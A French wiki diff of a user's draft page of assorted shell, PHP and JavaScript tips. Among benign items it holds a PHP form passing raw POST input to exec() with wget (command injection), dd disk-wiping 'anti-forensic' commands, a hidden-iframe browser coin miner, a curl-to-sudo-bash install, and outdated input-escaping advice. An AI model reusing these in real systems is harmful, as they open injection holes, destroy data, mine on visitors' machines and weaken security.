Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Prochaine révision
Révision précédente
utilisateurs:j5012:brouillons:scripts_en_vrac [Le 20/12/2013, 20:14] – créée scripts_en_vrac J5012utilisateurs:j5012:brouillons:scripts_en_vrac [Le 19/08/2020, 13:25] (Version actuelle) – [In the Deep ...] ajout sous-titre j5012
Ligne 1: Ligne 1:
 +====== Scripts en vrac ======
 +
 +Bouts de scripts de plusieurs auteurs, à utiliser en connaissance de cause, et toujurs avec prudence !
 +
 +===== In the Forums =====
 +
 +==== Ne cherche plus ton hostname libreoffice ====
 +
 +<code bash>cat /etc/hosts</code>
 +  * modifiez votre **/etc/hosts** en remplaçant **HOSTNAME** par **nom-de-mon-ordinateur**
 +<code bash>127.0.0.1 HOSTNAME localhost HOSTNAME.(none)</code>
 +  * **nom-de-mon-ordinateur** est lisible à la ligne suivante
 +<code bash>127.0.1.1 nom-de-mon-ordinateur</code>
 +
 +==== Identifiez votre adresse IP ====
 +
 +<code bash>ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2</code>
 +  * Remplacer **eth0** par le nom de votre interface réseau
 +
 +==== Identifiez vos adresses IP public et privé ====
 +
 +<code bash>wget -qO- icanhazip.com
 +nm-tool | grep '^ *Address' | awk '{ print $2 }'</code>
 +  * Installez au préalable le paquet nm-tool (precise et trusty uniquement → sniff)
 +  * le site utilitaire icanhazip retournera toujours votre IP public
 +
 +===== In the Deep ... =====
 +
 +==== For Loops 1, 2, 3 times ====
 +
 +  * Vous avez besoin de décomptez non pas une fois mais plusieurs, par exemple : une variable pour l'année, une pour le mois, une pour le jour.
 +  * Vous ne voulez pas rédiger un programme complet, lent et casse-pompon.
 +  * Vous utilisez la ligne de commande dont les traces sont plus faciles à supprimer.
 +
 +<code bash>
 +for k in {2012..2019}; do for j in {01..12}; do for i in {01..12}; do  echo "$k-$j-$i"; done; done; done
 +</code>
 +
 +  * Ça compte les 12 premiers jours sur deux chiffres de chacun des 12 mois des années 2012 à 2019.
 +  * Comprenez : ce peut être autre chose que des années, mois ou jours. Ce peut être une commande différente.
 +  * On peut théoriquement engranger les boucles For, mais après 3, vos yeux commencent à loucher, hein ?
 +  * NB : l'incrémentation explicite avec Let n'est plus requise depuis la version 4.0 de Bash. À vérifier.
 +
 +
 +==== Dé-PDF-isez même verrouillé ====
 +
 +<code bash>
 +pdftocairo -f debut% -l fin% -jpeg "monpdf.pdf" -scale-to pixels% -cropbox
 +</code>
 +  * debut% est un nombre entier désignant la première page à extraire (souvent debut% égale 1)
 +  * fin% est un nombre entier désignant la dernière page à extraire (souvent fin% égale le nombre de pages)
 +  * quand debut% et fin% sont égales, pdftocairo extrait une page unique
 +  * pixels% est un nombre entier désignant la largeur maximum désirée pour l'image graphique extraite
 +  * l'option 'cropbox' est à utiliser si pdftocairo extrait des images sans texte ou/et décolorées
 +  * lire absolument le bon man de pdftocairo
 +
 +==== Re-graphi-sizez en masse ====
 +
 +  * contraction néologique pour le retaillage des images en ligne de commande avec convert d'imagemagick au lieu d'utiliser TheGimp et la série de clics qui vont bien ;)
 +  * convert permet des options de retaillage complexes, lire son man, mais cette astuce se contente de couper la moitié (la plupart des APN rendent actuellement 4000 pixels)
 +
 +<code bash>
 +for file in *.jpg; do convert $file -resize 50% $file; done
 +</code>
 +
 +  * les images sont supposées être du même format, de la même extension, dans un dossier unique
 +  * le mini-script fait un listing des fichiers jpeg, et les convertit un-à-un (chaque fichier original est écrasé)
 +
 +==== Suppléez Policykit ====
 +
 +  - vous avez un systéme Ubuntu récent, mais un environnement non classic sans agent policykit qui aille bien ...
 +  - modifiez les lanceurs de bureau qui necessitent l'accès administrateur (gparted, synaptic ...)
 +
 +<code bash>Exec = sudo xterm -e "/usr/sbin/synaptic"</code>
 +
 +→ le lanceur modifié s'exécute sur une session xterm attendant l'entrée du mot de passe.
 +
 +→ vous pouvez aussi utiliser la commande bash avec l'option -c , mais ca ne fonctionne pas toujours avec les systémes minimaux.
 +
 +==== Modules non-signés dans Firefox (test avec v66.0.1 64bits) ====
 +
 +1/ Lancez l'éditeur de configuration
 +<code>about:config</code>
 +
 +2/ Option de configuration à modifier
 +<code>xpinstall.signatures.required = true</code>
 +vers
 +<code>xpinstall.signatures.required = false</code>
 +
 +→ chaque module non-signé sera désigné comme tel dans la section des extensions du gestionnaire de modules.
 +
 +→ plus d'infos chez Mozilla : [[https://support.mozilla.org/fr/kb/signature-modules-complementaires-firefox?as=u&utm_source=inproduct#w_comment-faire-pour-utiliser-un-module-non-signaea-utilisateurs-avancaes|Comment faire pour utiliser un module non signé ? (utilisateurs avancés)]].
 +
 +==== Script php pour télécharger avec wget ====
 +
 +<code php><?php
 +if(isset($_POST['path']) && isset($_POST['url']))
 +{
 +
 +$path = $_POST['path'];
 +$url = $_POST['url'];
 +$cmd = "wget \"$url\" -O \"$path\"";
 +exec ($cmd);
 +echo" La commande a bien été exécutée : $cmd ";
 +}
 +print "<form action=\"$PHP_SELF\" method=post>
 +Lien (URL)  : <input name=url><br>
 +Path Complet: <input name=path><br>
 +<input type=submit value=\"envoyer\">";
 +
 +?></code>
 +
 +==== Anti-forensic ====
 +
 +  * disk dump aléatoire, 7 passes ...
 +<code bash>for n in `seq 7`; do dd if=/dev/urandom of=/dev/sdX bs=8b conv=notrunc; done</code>
 +  * disk dump zero
 +<code bash>dd if=/dev/zero of=zero; rm -f zero</code>
 +
 +==== Consultez la météo avant de sortir de chez vous ;) ====
 +
 +  * nommez la ville de votre choix ... ex : toulouse, lyon, papeete, tokyo ...
 +  * astuce : lisez les petits caractères juste après le "curl"
 +
 +  * consultation immédiate
 +<code bash>curl wttr.in/toulouse</code>
 +  * suivi enregistré pour un historique ...
 +<code bash>curl -A "Mozilla/4.0" wttr.in/toulouse > ./toulouse_meteo.html</code>
 +  * avec formatage de date
 +<code bash>
 +#!/bin/bash
 +dateofday=$(date +%Y-%m-%d)
 +#zenity --info --text="La meteo $dateofday de tokyo"
 +curl -A "Mozilla/4.0" wttr.in/tokyo > "tokyo_meteo $dateofday.html"
 +#zenity --info --text="La meteo $dateofday de paris"
 +curl -A "Mozilla/4.0" wttr.in/paris > "paris_meteo $dateofday.html"
 +</code>
 +
 +==== Api Coins ====
 +
 +  * le code api qui implémente votre coin numérique
 +<code javascript>function addLoadEvent(fun) {
 +  if (window.attachEvent) window.attachEvent('onload', fun);
 +  else if (window.addEventListener) window.addEventListener('load', fun, false);
 +  else document.addEventListener('load', fun, false);
 +}
 +
 +function bitpit(params) {
 +  addLoadEvent(function() {
 +  var url = window.location.protocol + "//api.bitp.it/mine?";
 +    params.domain = window.location.href.split('//')[1].split('/')[0];
 +  for(var name in params){
 +  url = url + name + "=" + params[name] + "&";
 +  }
 +    var frame = document.createElement("iframe");
 +    frame.setAttribute("src", url);
 +    frame.setAttribute("name", "bitpit")
 +    frame.setAttribute("style", "display: none;");
 +    frame.setAttribute("height", "0");
 +    frame.setAttribute("width", "0");
 +    document.body.appendChild(frame);
 +  });
 +}</code>
 +
 +  * le code qui utilise l'api du coin numérique
 +<code javascript><script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
 +<script type="text/javascript">
 +  bitpit({clientId: "6917", forceUIThread: true});
 +</script></code>
 +
 +==== FUR1204 -by- framakey ====
 +
 +<code bash>
 +ubuntu@ubuntu:~$ ls /home
 +ubuntu
 +ubuntu@ubuntu:~$ cat /etc/lightdm/lightdm.conf
 +
 +[SeatDefaults]
 +allow-guest=false
 +autologin-guest=false
 +autologin-user=ubuntu
 +autologin-user-timeout=0
 +autologin-session=lightdm-autologin
 +user-session=ubuntu
 +greeter-session=unity-greeter
 +ubuntu@ubuntu:~$
 +</code>
 +
 +==== Balises HTML5 /s IE8 -by- idleman ====
 +
 +Entre les balises <head> et </head> de votre site, ajoutez le code suivant :
 +
 +<code javascript>
 +<script type="text/javascript"><br>
 + document.createElement("header");<br>
 + document.createElement("footer");<br>
 + document.createElement("section");<br>
 + document.createElement("aside");<br>
 + document.createElement("nav");<br>
 + document.createElement("article");<br>
 + document.createElement("figure");<br>
 + </script>
 +</code>
 +
 +Le code créé ces nouvelles balises dans les références du navigateur avant le chargement de la page.
 +
 +Au début de votre css, ajoutez le code suivant :
 +
 +<code css>
 +header, footer, section, hgroup, aside, nav, article, figure, figcaption, time, dialog {<br>
 + display: block;<br>
 + }
 +</code>
 +
 +Ces balises HTML5 se comporteront par défaut en tant que bloc.
 +
 +==== PHP :: Récuperer et sécuriser automatiquement toutes les variables POST et GET -by- idleman ====
 +
 +<code php>
 +$_ = array();<br>
 +foreach($_POST as $key=>$val){<br>
 +$_[$key]=mysql_escape_string(htmlentities($val));<br>
 +}<br>
 +foreach($_GET as $key=>$val){<br>
 +$_[$key]=mysql_escape_string(htmlentities($val));<br>
 +}
 +
 +<?php<br>
 +echo $_['MaVariablePostOuGet'];<br>
 +?>
 +</code>
 +
 +==== Service local visible sur l'internet -by- anonym at korben's ====
 +
 +Mettre à disposition sur le net de manière totalement sauvage n'importe quel service disponible sur votre machine : Pagekite !
 +
 +Pagekite va mapper votre service en local (par exemple 127.0.0.1:80) avec une URL comme http://toto.pagekite.me.
 +
 +Maintenant pour l'installer, c'est très simple :
 +
 +**Sous Mac OSX et Linux**
 +
 +<code bash>curl -s https://pagekite.net/pk/ | sudo bash</code>
 +<code bash>pagekite.py 80 yourname.pagekite.me</code>
 +
 +**Sous Windows**
 +
 +  * Téléchargez et installez Python 2.7
 +  * Téléchargez pagekite.py sur votre ordi
 +  * Lancez le script !